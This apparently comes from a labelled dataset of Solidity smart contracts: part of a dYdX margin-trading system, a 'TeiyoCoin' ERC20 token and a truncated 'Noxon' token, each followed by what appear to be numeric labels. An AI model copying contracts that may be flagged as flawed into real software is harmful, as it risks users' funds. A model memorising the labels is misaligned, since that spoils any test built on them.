openTx.owedToken != openTx.heldToken,
"openWithoutCounterpartyImpl#validate: owedToken cannot be equal to heldToken"
);
require(
openTx.positionOwner != address(0),
"openWithoutCounterpartyImpl#validate: positionOwner cannot be 0"
);
require(
openTx.loanOwner != address(0),
"openWithoutCounterpartyImpl#validate: loanOwner cannot be 0"
);
require(
openTx.maxDuration > 0,
"openWithoutCounterpartyImpl#validate: maxDuration cannot be 0"
);
require(
openTx.interestPeriod <= openTx.maxDuration,
"openWithoutCounterpartyImpl#validate: interestPeriod must be <= maxDuration"
);
}
function recordPositionOpened(
Tx memory openTx
)
private
{
emit PositionOpened(
openTx.positionId,
msg.sender,
msg.sender,
bytes32(0),
openTx.owedToken,
openTx.heldToken,
address(0),
openTx.principal,
0,
openTx.deposit,
openTx.interestRate,
openTx.callTimeLimit,
openTx.maxDuration,
true
);
}
function parseTx(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
private
view
returns (Tx memory)
{
Tx memory openTx = Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[2]),
positionOwner: addresses[0],
owedToken: addresses[1],
heldToken: addresses[2],
loanOwner: addresses[3],
principal: values256[0],
deposit: values256[1],
callTimeLimit: values32[0],
maxDuration: values32[1],
interestRate: values32[2],
interestPeriod: values32[3]
});
return openTx;
}
}
contract PositionGetters is MarginStorage {
using SafeMath for uint256;
function containsPosition(
bytes32 positionId
)
external
view
returns (bool)
{
return MarginCommon.containsPositionImpl(state, positionId);
}
function isPositionCalled(
bytes32 positionId
)
external
view
returns (bool)
{
return (state.positions[positionId].callTimestamp > 0);
}
function isPositionClosed(
bytes32 positionId
)
external
view
returns (bool)
{
return state.closedPositions[positionId];
}
function getTotalOwedTokenRepaidToLender(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.totalOwedTokenRepaidToLender[positionId];
}
function getPositionBalance(
bytes32 positionId
)
external
view
returns (uint256)
{
return MarginCommon.getPositionBalanceImpl(state, positionId);
}
function getTimeUntilInterestIncrease(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 effectiveTimeElapsed = MarginCommon.calculateEffectiveTimeElapsed(
position,
block.timestamp
);
uint256 absoluteTimeElapsed = block.timestamp.sub(position.startTimestamp);
if (absoluteTimeElapsed > effectiveTimeElapsed) {
return 0;
} else {
return effectiveTimeElapsed.add(1).sub(absoluteTimeElapsed);
}
}
function getPositionOwedAmount(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
return MarginCommon.calculateOwedAmount(
position,
position.principal,
block.timestamp
);
}
function getPositionOwedAmountAtTime(
bytes32 positionId,
uint256 principalToClose,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getPositionOwedAmountAtTime: Requested time before position started"
);
return MarginCommon.calculateOwedAmount(
position,
principalToClose,
timestamp
);
}
function getLenderAmountForIncreasePositionAtTime(
bytes32 positionId,
uint256 principalToAdd,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getLenderAmountForIncreasePositionAtTime: timestamp < position start"
);
return MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principalToAdd,
timestamp
);
}
function getPosition(
bytes32 positionId
)
external
view
returns (
address[4],
uint256[2],
uint32[6]
)
{
MarginCommon.Position storage position = state.positions[positionId];
return (
[
position.owedToken,
position.heldToken,
position.lender,
position.owner
],
[
position.principal,
position.requiredDeposit
],
[
position.callTimeLimit,
position.startTimestamp,
position.callTimestamp,
position.maxDuration,
position.interestRate,
position.interestPeriod
]
);
}
function getPositionLender(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].lender;
}
function getPositionOwner(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owner;
}
function getPositionHeldToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].heldToken;
}
function getPositionOwedToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owedToken;
}
function getPositionPrincipal(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].principal;
}
function getPositionInterestRate(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].interestRate;
}
function getPositionRequiredDeposit(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].requiredDeposit;
}
function getPositionStartTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].startTimestamp;
}
function getPositionCallTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimestamp;
}
function getPositionCallTimeLimit(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimeLimit;
}
function getPositionMaxDuration(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].maxDuration;
}
function getPositioninterestPeriod(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].interestPeriod;
}
}
library TransferImpl {
function transferLoanImpl(
MarginState.State storage state,
bytes32 positionId,
address newLender
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferLoanImpl: Position does not exist"
);
address originalLender = state.positions[positionId].lender;
require(
msg.sender == originalLender,
"TransferImpl#transferLoanImpl: Only lender can transfer ownership"
);
require(
newLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot transfer ownership to self"
);
address finalLender = TransferInternal.grantLoanOwnership(
positionId,
originalLender,
newLender);
require(
finalLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].lender = finalLender;
}
function transferPositionImpl(
MarginState.State storage state,
bytes32 positionId,
address newOwner
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferPositionImpl: Position does not exist"
);
address originalOwner = state.positions[positionId].owner;
require(
msg.sender == originalOwner,
"TransferImpl#transferPositionImpl: Only position owner can transfer ownership"
);
require(
newOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot transfer ownership to self"
);
address finalOwner = TransferInternal.grantPositionOwnership(
positionId,
originalOwner,
newOwner);
require(
finalOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].owner = finalOwner;
}
}
contract Margin is
ReentrancyGuard,
MarginStorage,
MarginEvents,
MarginAdmin,
LoanGetters,
PositionGetters
{
using SafeMath for uint256;
constructor(
address vault,
address proxy
)
public
MarginAdmin()
{
state = MarginState.State({
VAULT: vault,
TOKEN_PROXY: proxy
});
}
function openPosition(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenPositionImpl.openPositionImpl(
state,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function openWithoutCounterparty(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenWithoutCounterpartyImpl.openWithoutCounterpartyImpl(
state,
addresses,
values256,
values32
);
}
function increasePosition(
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increasePositionImpl(
state,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function increaseWithoutCounterparty(
bytes32 positionId,
uint256 principalToAdd
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increaseWithoutCounterpartyImpl(
state,
positionId,
principalToAdd
);
}
function closePosition(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes order
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
order
);
}
function closePositionDirectly(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionDirectlyStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
new bytes(0)
);
}
function closeWithoutCounterparty(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256)
{
return CloseWithoutCounterpartyImpl.closeWithoutCounterpartyImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient
);
}
function marginCall(
bytes32 positionId,
uint256 requiredDeposit
)
external
nonReentrant
{
LoanImpl.marginCallImpl(
state,
positionId,
requiredDeposit
);
}
function cancelMarginCall(
bytes32 positionId
)
external
onlyWhileOperational
nonReentrant
{
LoanImpl.cancelMarginCallImpl(state, positionId);
}
function forceRecoverCollateral(
bytes32 positionId,
address recipient
)
external
nonReentrant
returns (uint256)
{
return ForceRecoverCollateralImpl.forceRecoverCollateralImpl(
state,
positionId,
recipient
);
}
function depositCollateral(
bytes32 positionId,
uint256 depositAmount
)
external
onlyWhileOperational
nonReentrant
{
DepositCollateralImpl.depositCollateralImpl(
state,
positionId,
depositAmount
);
}
function cancelLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
external
cancelLoanOfferingStateControl
nonReentrant
returns (uint256)
{
return LoanImpl.cancelLoanOfferingImpl(
state,
addresses,
values256,
values32,
cancelAmount
);
}
function transferLoan(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferLoanImpl(
state,
positionId,
who);
}
function transferPosition(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferPositionImpl(
state,
positionId,
who);
}
function getVaultAddress()
external
view
returns (address)
{
return state.VAULT;
}
function getTokenProxyAddress()
external
view
returns (address)
{
return state.TOKEN_PROXY;
}
}
contract OnlyMargin {
address public DYDX_MARGIN;
constructor(
address margin
)
public
{
DYDX_MARGIN = margin;
}
modifier onlyMargin()
{
require(
msg.sender == DYDX_MARGIN,
"OnlyMargin#onlyMargin: Only Margin can call"
);
_;
}
}
interface PositionCustodian {
function getPositionDeedHolder(
bytes32 positionId
)
external
view
returns (address);
}
library MarginHelper {
function getPosition(
address DYDX_MARGIN,
bytes32 positionId
)
internal
view
returns (MarginCommon.Position memory)
{
(
address[4] memory addresses,
uint256[2] memory values256,
uint32[6] memory values32
) = Margin(DYDX_MARGIN).getPosition(positionId);
return MarginCommon.Position({
owedToken: addresses[0],
heldToken: addresses[1],
lender: addresses[2],
owner: addresses[3],
principal: values256[0],
requiredDeposit: values256[1],
callTimeLimit: values32[0],
startTimestamp: values32[1],
callTimestamp: values32[2],
maxDuration: values32[3],
interestRate: values32[4],
interestPeriod: values32[5]
});
}
}
contract ERC20Position is
ReentrancyGuard,
StandardToken,
OnlyMargin,
PositionOwner,
IncreasePositionDelegator,
ClosePositionDelegator,
PositionCustodian
{
using SafeMath for uint256;
enum State {
UNINITIALIZED,
OPEN,
CLOSED
}
event Initialized(
bytes32 positionId,
uint256 initialSupply
);
event ClosedByTrustedParty(
address closer,
uint256 tokenAmount,
address payoutRecipient
);
event CompletelyClosed();
event Withdraw(
address indexed redeemer,
uint256 tokensRedeemed,
uint256 heldTokenPayout
);
event Close(
address indexed redeemer,
uint256 closeAmount
);
address public INITIAL_TOKEN_HOLDER;
bytes32 public POSITION_ID;
mapping (address => bool) public TRUSTED_RECIPIENTS;
mapping (address => bool) public TRUSTED_WITHDRAWERS;
State public state;
address public heldToken;
bool public closedUsingTrustedRecipient;
modifier onlyPosition(bytes32 positionId) {
require(
POSITION_ID == positionId,
"ERC20Position#onlyPosition: Incorrect position"
);
_;
}
modifier onlyState(State specificState) {
require(
state == specificState,
"ERC20Position#onlyState: Incorrect State"
);
_;
}
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers
)
public
OnlyMargin(margin)
{
POSITION_ID = positionId;
state = State.UNINITIALIZED;
INITIAL_TOKEN_HOLDER = initialTokenHolder;
closedUsingTrustedRecipient = false;
uint256 i;
for (i = 0; i < trustedRecipients.length; i++) {
TRUSTED_RECIPIENTS[trustedRecipients[i]] = true;
}
for (i = 0; i < trustedWithdrawers.length; i++) {
TRUSTED_WITHDRAWERS[trustedWithdrawers[i]] = true;
}
}
function receivePositionOwnership(
address ,
bytes32 positionId
)
external
onlyMargin
nonReentrant
onlyState(State.UNINITIALIZED)
onlyPosition(positionId)
returns (address)
{
MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID);
assert(position.principal > 0);
state = State.OPEN;
heldToken = position.heldToken;
uint256 tokenAmount = getTokenAmountOnAdd(position.principal);
emit Initialized(POSITION_ID, tokenAmount);
mint(INITIAL_TOKEN_HOLDER, tokenAmount);
return address(this);
}
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
onlyMargin
nonReentrant
onlyState(State.OPEN)
onlyPosition(positionId)
returns (address)
{
require(
!Margin(DYDX_MARGIN).isPositionCalled(POSITION_ID),
"ERC20Position#increasePositionOnBehalfOf: Position is margin-called"
);
require(
!closedUsingTrustedRecipient,
"ERC20Position#increasePositionOnBehalfOf: Position closed using trusted recipient"
);
uint256 tokenAmount = getTokenAmountOnAdd(principalAdded);
mint(trader, tokenAmount);
return address(this);
}
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
onlyMargin
nonReentrant
onlyState(State.OPEN)
onlyPosition(positionId)
returns (address, uint256)
{
uint256 positionPrincipal = Margin(DYDX_MARGIN).getPositionPrincipal(positionId);
assert(requestedAmount <= positionPrincipal);
uint256 allowedAmount;
if (TRUSTED_RECIPIENTS[payoutRecipient]) {
allowedAmount = closeUsingTrustedRecipient(
closer,
payoutRecipient,
requestedAmount
);
} else {
allowedAmount = close(
closer,
requestedAmount,
positionPrincipal
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= requestedAmount);
if (allowedAmount == positionPrincipal) {
state = State.CLOSED;
emit CompletelyClosed();
}
return (address(this), allowedAmount);
}
function withdraw(
address onBehalfOf
)
external
nonReentrant
returns (uint256)
{
setStateClosedIfClosed();
require(
state == State.CLOSED,
"ERC20Position#withdraw: Position has not yet been closed"
);
if (msg.sender != onBehalfOf) {
require(
TRUSTED_WITHDRAWERS[msg.sender],
"ERC20Position#withdraw: Only trusted withdrawers can withdraw on behalf of others"
);
}
return withdrawImpl(msg.sender, onBehalfOf);
}
function decimals()
external
view
returns (uint8);
function symbol()
external
view
returns (string);
function getPositionDeedHolder(
bytes32 positionId
)
external
view
onlyPosition(positionId)
returns (address)
{
return address(this);
}
function closeUsingTrustedRecipient(
address closer,
address payoutRecipient,
uint256 requestedAmount
)
internal
returns (uint256)
{
assert(requestedAmount > 0);
if (!closedUsingTrustedRecipient) {
closedUsingTrustedRecipient = true;
}
emit ClosedByTrustedParty(closer, requestedAmount, payoutRecipient);
return requestedAmount;
}
function withdrawImpl(
address receiver,
address onBehalfOf
)
private
returns (uint256)
{
uint256 value = balanceOf(onBehalfOf);
if (value == 0) {
return 0;
}
uint256 heldTokenBalance = TokenInteract.balanceOf(heldToken, address(this));
uint256 heldTokenPayout = MathHelpers.getPartialAmount(
value,
totalSupply_,
heldTokenBalance
);
burn(onBehalfOf, value);
emit Withdraw(onBehalfOf, value, heldTokenPayout);
TokenInteract.transfer(heldToken, receiver, heldTokenPayout);
return heldTokenPayout;
}
function setStateClosedIfClosed(
)
private
{
if (state == State.OPEN && Margin(DYDX_MARGIN).isPositionClosed(POSITION_ID)) {
state = State.CLOSED;
emit CompletelyClosed();
}
}
function close(
address closer,
uint256 requestedAmount,
uint256 positionPrincipal
)
private
returns (uint256)
{
uint256 balance = balances[closer];
(
uint256 tokenAmount,
uint256 allowedCloseAmount
) = getCloseAmounts(
requestedAmount,
balance,
positionPrincipal
);
require(
tokenAmount > 0 && allowedCloseAmount > 0,
"ERC20Position#close: Cannot close 0 amount"
);
assert(allowedCloseAmount <= requestedAmount);
burn(closer, tokenAmount);
emit Close(closer, tokenAmount);
return allowedCloseAmount;
}
function burn(
address from,
uint256 amount
)
private
{
assert(from != address(0));
totalSupply_ = totalSupply_.sub(amount);
balances[from] = balances[from].sub(amount);
emit Transfer(from, address(0), amount);
}
function mint(
address to,
uint256 amount
)
private
{
assert(to != address(0));
totalSupply_ = totalSupply_.add(amount);
balances[to] = balances[to].add(amount);
emit Transfer(address(0), to, amount);
}
function getTokenAmountOnAdd(
uint256 principalAdded
)
internal
view
returns (uint256);
function getCloseAmounts(
uint256 requestedCloseAmount,
uint256 balance,
uint256 positionPrincipal
)
private
view
returns (
uint256 ,
uint256
);
}
contract ERC20CappedPosition is
ERC20Position,
Ownable
{
using SafeMath for uint256;
event TokenCapSet(
uint256 tokenCap
);
event TrustedCloserSet(
address closer,
bool allowed
);
mapping(address => bool) public TRUSTED_LATE_CLOSERS;
uint256 public tokenCap;
constructor(
address[] trustedLateClosers,
uint256 cap
)
public
Ownable()
{
for (uint256 i = 0; i < trustedLateClosers.length; i++) {
TRUSTED_LATE_CLOSERS[trustedLateClosers[i]] = true;
}
tokenCap = cap;
}
function setTokenCap(
uint256 newCap
)
external
onlyOwner
{
tokenCap = newCap;
emit TokenCapSet(newCap);
}
function setTrustedLateCloser(
address closer,
bool allowed
)
external
onlyOwner
{
TRUSTED_LATE_CLOSERS[closer] = allowed;
emit TrustedCloserSet(closer, allowed);
}
function closeUsingTrustedRecipient(
address closer,
address payoutRecipient,
uint256 requestedAmount
)
internal
returns (uint256)
{
MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID);
bool afterEnd =
block.timestamp > uint256(position.startTimestamp).add(position.maxDuration);
bool afterCall =
position.callTimestamp > 0 &&
block.timestamp > uint256(position.callTimestamp).add(position.callTimeLimit);
if (afterCall || afterEnd) {
require (
TRUSTED_LATE_CLOSERS[closer],
"ERC20CappedPosition#closeUsingTrustedRecipient: closer not in TRUSTED_LATE_CLOSERS"
);
}
return super.closeUsingTrustedRecipient(closer, payoutRecipient, requestedAmount);
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
library StringHelpers {
function strcat(
bytes stringA,
bytes stringB
)
internal
pure
returns (bytes)
{
uint256 lengthA = stringA.length;
uint256 lengthB = stringB.length;
bytes memory result = new bytes(lengthA + lengthB);
uint256 i = 0;
for (i = 0; i < lengthA; i++) {
result[i] = stringA[i];
}
for (i = 0; i < lengthB; i++) {
result[lengthA + i] = stringB[i];
}
return result;
}
function bytes32ToHex(
bytes32 input
)
internal
pure
returns (bytes)
{
uint256 number = uint256(input);
bytes memory numberAsString = new bytes(66);
numberAsString[0] = byte(48);
numberAsString[1] = byte(120);
for (uint256 n = 0; n < 32; n++) {
uint256 nthByte = number / uint256(uint256(2) ** uint256(248 - 8 * n));
uint8 hex1 = uint8(nthByte) / uint8(16);
uint8 hex2 = uint8(nthByte) % uint8(16);
hex1 += (hex1 > 9) ? 87 : 48;
hex2 += (hex2 > 9) ? 87 : 48;
numberAsString[2 * n + 2] = byte(hex1);
numberAsString[2 * n + 3] = byte(hex2);
}
return numberAsString;
}
}
contract ERC20Long is ERC20Position {
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers
)
public
ERC20Position(
positionId,
margin,
initialTokenHolder,
trustedRecipients,
trustedWithdrawers
)
{}
function decimals()
external
view
returns (uint8)
{
return DetailedERC20(heldToken).decimals();
}
function symbol()
external
view
returns (string)
{
if (state == State.UNINITIALIZED) {
return "L[UNINITIALIZED]";
}
return string(
StringHelpers.strcat(
"L",
bytes(DetailedERC20(heldToken).symbol())
)
);
}
function name()
external
view
returns (string)
{
if (state == State.UNINITIALIZED) {
return "dYdX Leveraged Long Token [UNINITIALIZED]";
}
return string(
StringHelpers.strcat(
"dYdX Leveraged Long Token ",
StringHelpers.bytes32ToHex(POSITION_ID)
)
);
}
function getTokenAmountOnAdd(
uint256
)
internal
view
returns (uint256)
{
uint256 positionBalance = Margin(DYDX_MARGIN).getPositionBalance(POSITION_ID);
return positionBalance.sub(totalSupply_);
}
function getCloseAmounts(
uint256 requestedCloseAmount,
uint256 balance,
uint256 positionPrincipal
)
private
view
returns (
uint256 ,
uint256
)
{
uint256 positionBalance = Margin(DYDX_MARGIN).getPositionBalance(POSITION_ID);
uint256 requestedTokenAmount = MathHelpers.getPartialAmount(
requestedCloseAmount,
positionPrincipal,
positionBalance
);
if (requestedTokenAmount <= balance) {
return (requestedTokenAmount, requestedCloseAmount);
}
uint256 allowedCloseAmount = MathHelpers.getPartialAmount(
balance,
positionBalance,
positionPrincipal
);
assert(allowedCloseAmount < requestedCloseAmount);
uint256 allowedTokenAmount = MathHelpers.getPartialAmount(
allowedCloseAmount,
positionPrincipal,
positionBalance
);
return (allowedTokenAmount, allowedCloseAmount);
}
}
contract ERC20CappedLong is
ERC20Long,
ERC20CappedPosition
{
using SafeMath for uint256;
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers,
address[] trustedLateClosers,
uint256 cap
)
public
ERC20Long(
positionId,
margin,
initialTokenHolder,
trustedRecipients,
trustedWithdrawers
)
ERC20CappedPosition(
trustedLateClosers,
cap
)
{
}
function getTokenAmountOnAdd(
uint256 principalAdded
)
internal
view
returns (uint256)
{
uint256 tokenAmount = super.getTokenAmountOnAdd(principalAdded);
require(
totalSupply_.add(tokenAmount) <= tokenCap,
"ERC20CappedLong#getTokenAmountOnAdd: Adding tokenAmount would exceed cap"
);
return tokenAmount;
}
} | 0 | 935 |
pragma solidity ^0.5.8;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract TeiyoCoin is ERC20, ERC20Detailed {
uint8 public constant DECIMALS = 18;
uint256 public constant INITIAL_SUPPLY = 1000 * 10000 * 10000 * (10 ** uint256(DECIMALS));
constructor()
ERC20Detailed("Teiyo Coin", "TYC", DECIMALS)
public
{
_mint(msg.sender, INITIAL_SUPPLY);
}
} | 1 | 2,418 |
pragma solidity ^ 0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
function totalSupply() public constant returns(uint256 totalSupplyReturn);
function balanceOf(address _owner) public constant returns(uint256 balance);
function transfer(address _to, uint256 _value) public returns(bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success);
function approve(address _spender, uint256 _value) public returns(bool success);
function allowance(address _owner, address _spender) public constant returns(uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Noxon is ERC20Interface {
using SafeMath for uint;
string public constant symbol = "NOXON";
string public constant name = "NOXON";
uint8 public constant decimals = 0;
uint256 _totalSupply = 0;
uint256 _burnPrice;
uint256 _emissionPrice;
uint256 initialized;
bool public emissionlocked = false;
address public owner;
address public manager;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address newOwner;
address newManager;
function changeOwner(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
newOwner = address(0);
}
}
function changeManager(address _newManager) public onlyOwner {
newManager = _newManager;
}
function acceptManagership() public {
if (msg.sender == newManager) {
manager = newManager;
newManager = address(0);
}
}
function Noxon() public {
require(_totalSupply == 0);
owner = msg.sender;
manager = owner;
}
function NoxonInit() public payable onlyOwner returns (bool) {
require(_totalSupply == 0);
require(initialized == 0);
require(msg.value > 0);
Transfer(0, msg.sender, 1);
balances[owner] = 1;
_totalSupply = balances[owner];
_burnPrice = msg.value;
_emissionPrice = _burnPrice.mul(2);
initialized = block.timestamp;
return true;
}
function lockEmission() public onlyOwner {
emissionlocked = true;
}
function unlockEmission() public onlyOwner {
emissionlocked = false;
}
function totalSupply() public constant returns(uint256) {
return _totalSupply;
}
function burnPrice() public constant returns(uint256) {
return _burnPrice;
}
function emissionPrice() public constant returns(uint256) {
return _emissionPrice;
}
function balanceOf(address _owner) public constant returns(uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) public returns(bool success) {
if (_to == address(this)) {
return burnTokens(_amount);
} else {
if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) {
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
}
function burnTokens(uint256 _amount) private returns(bool success) {
_burnPrice = getBurnPrice();
uint256 _burnPriceTmp = _burnPrice;
if (balances[msg.sender] >= _amount && _amount > 0) {
balances[msg.sender] = balances[msg.sender].sub(_amount);
_totalSupply = _totalSupply.sub(_amount);
assert(_totalSupply >= 1);
msg.sender.transfer(_amount.mul(_burnPrice));
_burnPrice = getBurnPrice();
assert(_burnPrice >= _burnPriceTmp);
TokenBurned(msg.sender, _amount.mul(_burnPrice), _burnPrice, _amount);
return true;
} else {
return false;
}
}
event TokenBought(address indexed buyer, uint256 ethers, uint _emissionedPrice, uint amountOfTokens);
event TokenBurned(address indexed buyer, uint256 ethers, uint _burnedPrice, uint amountOfTokens);
function () public payable {
uint256 _burnPriceTmp = _burnPrice;
require(emissionlocked == false);
require(_burnPrice > 0 && _emissionPrice > _burnPrice);
require(msg.value > 0);
uint256 amount = msg.value / _emissionPrice;
require(balances[msg.sender] + amount > balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].add(amount);
_totalSupply = _totalSupply.add(amount);
uint mg = msg.value / 2;
manager.transfer(mg);
TokenBought(msg.sender, msg.value, _emissionPrice, amount);
_burnPrice = getBurnPrice();
_emissionPrice = _burnPrice.mul(2);
assert(_burnPrice >= _burnPriceTmp);
}
function getBurnPrice() public returns(uint) {
